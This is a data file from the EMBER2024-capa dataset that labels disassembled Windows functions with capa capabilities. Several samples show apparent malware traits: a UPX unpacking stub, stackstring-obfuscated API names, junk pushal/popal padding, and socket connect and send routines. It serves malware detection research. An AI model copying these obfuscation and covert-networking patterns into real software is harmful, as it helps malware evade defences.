joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100109d1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002eb3c]
jne 0x100109db
repz ret
jmp fcn.10016144

Function at 0x100186d2
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x1002f4f0]
je 0x100186ed
inc edi
cmp edi, 0x17
jb 0x100186de
cmp edi, 0x17
jae 0x1001886d
push ebp
push 3
call fcn.1001d9ff
cmp eax, 1
pop ecx
je 0x10018839
push 3
call fcn.1001d9ff
test eax, eax
pop ecx
jne 0x10018721
cmp dword [0x10031eec], 1
je 0x10018839
cmp ebx, 0xfc
je 0x1001886c
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x10032538
push ebp
call fcn.1001b992
add esp, 0xc
test eax, eax
je 0x10018757
push esi
push esi
push esi
push esi
push esi
call fcn.10014e87
add esp, 0x14
push 0x104
mov esi, 0x10032551
push esi
push 0
mov byte [0x10032655], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1001879b
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.1001b992
add esp, 0xc
test eax, eax
je 0x1001879b
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.10014e87
add esp, 0x14
push esi
call fcn.1001ba00
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x100187e0
push esi
call fcn.1001ba00
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x1003284c
push 0x100262bc
sub ecx, eax
push ecx
push eax
call fcn.1001c386
add esp, 0x14
test eax, eax
je 0x100187e0
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.10014e87
add esp, 0x14
jmp 0x100187e2
xor esi, esi
push 0x100262b8
push ebx
push ebp
call fcn.1001c2c1
add esp, 0xc
test eax, eax
je 0x10018802
push esi
push esi
push esi
push esi
push esi
call fcn.10014e87
add esp, 0x14
push dword [edi*8 + 0x1002f4f4]
push ebx
push ebp
call fcn.1001c2c1
add esp, 0xc
test eax, eax
je 0x10018824
push esi
push esi
push esi
push esi
push esi
call fcn.10014e87
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.1001d842
add esp, 0xc
jmp 0x1001886c
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1001886c
cmp ebp, 0xffffffff
je 0x1001886c
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1002f4f4]
push dword [esi]
call fcn.1001ba00
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x1001d842
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10014885
xor ebx, ebx
cmp dword [0x10032988], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x1001d918
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x1001d9f8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1001d9f8
push eax
call fcn.10014817
mov dword [esp], 0x1002753c
push edi
mov dword [0x10032988], eax
call esi
push eax
call fcn.10014817
mov dword [esp], 0x10027528
push edi
mov dword [0x1003298c], eax
call esi
push eax
call fcn.10014817
mov dword [0x10032990], eax
lea eax, [ebp - 0xc]
push eax
call fcn.10013313
test eax, eax
pop ecx
pop ecx
je 0x1001d8e6
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10014e87
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x1001d918
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.10014817
cmp eax, ebx
pop ecx
mov dword [0x10032998], eax
je 0x1001d918
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10014817
pop ecx
mov dword [0x10032994], eax
mov eax, dword [0x10032994]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x1001d99d
cmp dword [0x10032998], ecx
je 0x1001d99d
push eax
call fcn.1001488e
push dword [0x10032998]
mov esi, eax
call fcn.1001488e
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x1001d99d
cmp edi, ebx
je 0x1001d99d
call esi
cmp eax, ebx
je 0x1001d96a
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001d96a
test byte [ebp - 0x18], 1
jne 0x1001d99d
lea eax, [ebp - 0x10]
push eax
call fcn.1001334a
test eax, eax
pop ecx
je 0x1001d985
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10014e87
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x1001d994
or dword [ebp + 0x10], 0x200000
jmp 0x1001d9d8
or dword [ebp + 0x10], 0x40000
jmp 0x1001d9d8
mov eax, dword [0x1003298c]
cmp eax, dword [ebp - 8]
je 0x1001d9d8
push eax
call fcn.1001488e
cmp eax, ebx
pop ecx
je 0x1001d9d8
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1001d9d8
mov eax, dword [0x10032990]
cmp eax, dword [ebp - 8]
je 0x1001d9d8
push eax
call fcn.1001488e
cmp eax, ebx
pop ecx
je 0x1001d9d8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10032988]
call fcn.1001488e
cmp eax, ebx
pop ecx
je 0x1001d9f8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001d9fa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x6ce5d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x123000]
push edi
or ebp, 0xffffffff
jmp 0x6ce5f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6ce5f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6ce5e8
mov eax, 1
add ebx, ebx
jne 0x6ce60b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6ce61c
jne 0x6ce63b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6ce63b
dec eax
add ebx, ebx
jne 0x6ce628
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6ce600
add ebx, ebx
jne 0x6ce637
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6ce68d
xor ecx, ecx
sub eax, 3
jb 0x6ce653
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6ce6c2
sar eax, 1
mov ebp, eax
jmp 0x6ce65e
add ebx, ebx
jne 0x6ce65e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6ce62c
inc ecx
add ebx, ebx
jne 0x6ce66c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6ce62c
add ebx, ebx
jne 0x6ce679
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6ce66e
jne 0x6ce68a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6ce66e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6ce6ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6ce69e
jmp 0x6ce5ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6ce6ac
add edi, ecx
jmp 0x6ce5ee
pop esi
mov edi, esi
mov ecx, 0x9798
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6ce6ca
cmp byte [edi], 0x28
jne 0x6ce6ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6ce6cf
lea edi, [esi + 0x2cb000]
mov eax, dword [edi]
or eax, eax
je 0x6ce73e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2d66ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2d67f4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6ce6fc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2d67fc]
or eax, eax
je 0x6ce738
mov dword [ebx], eax
add ebx, 4
jmp 0x6ce719
call dword [esi + 0x2d67f8]
mov ebp, dword [esi + 0x2d6800]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6ce772
sub esp, 0xffffff80
jmp 0x518d94
Function at 0x404ed0
Capabilities:
Delete file
Enumerate gui resources

Disassembly:
mov eax, 0x104c
call fcn.00415900
mov eax, dword [0x70ca0c]
mov ecx, dword [0x709914]
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x405033
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov esi, dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x70ca0c], 0x959
jne 0x405019
push 0
push 0
call edi
lea eax, [esp + 0x38]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x5c]
push edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
lea eax, [esp + 0x1c]
push eax
push 0
call esi
push 0
push 0
lea ecx, [esp + 0x860]
push ecx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea edx, [esp + 0x45c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0x403718
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0x403738
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push 0
push 0x40373c
push 0x403748
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push 0x403770
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov eax, dword [esp + 0x10]
push eax
call fcn.00404d00
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x404f14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104c
ret
Function at 0x4089bd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44b248]
jne 0x4089c7
repz ret
jmp fcn.0041009c

Function at 0x413bb1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040ec76
and dword [ebp - 4], 0
cmp dword [0x44ec58], 0
mov ebx, eax
jne 0x413c62
push 0x402db0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413d13
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402da4
push edi
call esi
test eax, eax
je 0x413d13
push eax
call fcn.0040ec04
mov dword [esp], 0x402d94
push edi
mov dword [0x44ec58], eax
call esi
push eax
call fcn.0040ec04
mov dword [esp], 0x402d80
push edi
mov dword [0x44ec5c], eax
call esi
push eax
call fcn.0040ec04
mov dword [esp], 0x402d64
push edi
mov dword [0x44ec60], eax
call esi
push eax
call fcn.0040ec04
pop ecx
mov dword [0x44ec68], eax
test eax, eax
je 0x413c62
push 0x402d4c
push edi
call esi
push eax
call fcn.0040ec04
pop ecx
mov dword [0x44ec64], eax
mov eax, dword [0x44ec64]
cmp eax, ebx
je 0x413cba
cmp dword [0x44ec68], ebx
je 0x413cba
push eax
call fcn.0040ec7f
push dword [0x44ec68]
mov esi, eax
call fcn.0040ec7f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413cba
test edi, edi
je 0x413cba
call esi
test eax, eax
je 0x413cb1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413cb1
test byte [ebp - 0xc], 1
jne 0x413cba
or dword [ebp + 0x10], 0x200000
jmp 0x413cf3
mov eax, dword [0x44ec5c]
cmp eax, ebx
je 0x413cf3
push eax
call fcn.0040ec7f
pop ecx
test eax, eax
je 0x413cf3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cf3
mov eax, dword [0x44ec60]
cmp eax, ebx
je 0x413cf3
push eax
call fcn.0040ec7f
pop ecx
test eax, eax
je 0x413cf3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44ec58]
call fcn.0040ec7f
pop ecx
test eax, eax
je 0x413d13
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413d15
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002760
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x1001b6a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10002310
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10002310
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10002310
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10002310
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov cl, 0x74
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x1c], cl
mov byte [esp + 0x22], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x1001c420
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x54
mov byte [esp + 0x11], 0x79
mov byte [esp + 0x12], 0x6a
mov byte [esp + 0x13], 0x68
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x75
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10002a10
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.10002f40
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x100200a0
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100200a0
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x10002a7b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
mov ecx, dword [esp + 0x38]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov ebx, eax
call ebp
add esp, 4
test ebx, ebx
jne 0x10002aac
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 0x100200a0
mov word [esp + 0x24], 2
call edi
mov edx, dword [esp + 0x3c]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x26], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x24], edx
call edi
push str.connect
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x20]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x10002b20
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
call edi
push 0x30
mov byte [esp + 0x17], 1
call ebp
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x13]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10002b99
push 0x30
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0xea60
mov dword [esp + 0x20], 0x1388
call ebp
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [esp + 0x13]
lea eax, [esp + 0x14]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call ebp
add esp, 4
push 1
push 0
push 0
push esi
push 0x10002bd0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10011cb0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x10002f40
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x10003170
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, ebx
cmp ebx, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x10003211
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x24], 0
push 0x100200a0
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x100031e2
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xf
mov dword [esp + 0x24], eax
jl 0x100031a7
cmp dword [esp + 0x24], 0xf
je 0x10003247
mov edx, dword [esp + 0x1c]
push 0
add edx, edi
add ebp, esi
mov dword [esp + 0x20], edx
call ebx
push 0xa
call ebx
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x1000319f
mov ebx, dword [esp + 0x20]
mov edi, eax
test edi, edi
jle 0x1000323f
xor esi, esi
mov edx, dword [esp + 0x14]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10003236
inc esi
cmp esi, 0xf
jl 0x10003217
cmp esi, 0xf
je 0x10003247
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x1000324a
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x10003270
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10003283
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100032b1
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x100033d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003478
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push str.ProductName
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x100034c0
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x100034c0
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x100034c0
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x100049c0
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, pe_nt_image_headers32
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov eax, dword [ecx + 0x14]
push esi
test eax, eax
push edi
mov dword [ebp - 0x14], ecx
jne 0x100049ea
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea eax, [ebp - 0x10]
lea ecx, [ebp - 8]
push eax
lea edx, [ebp - 0x218]
push ecx
push edx
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x118]
mov eax, dword [edx + 0x14]
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x10004a3a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x10004a6e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov edx, dword [ebp - 0x14]
push str.ConvertSidToStringSidA
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10004b2e
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0x118]
push ecx
push edx
call eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret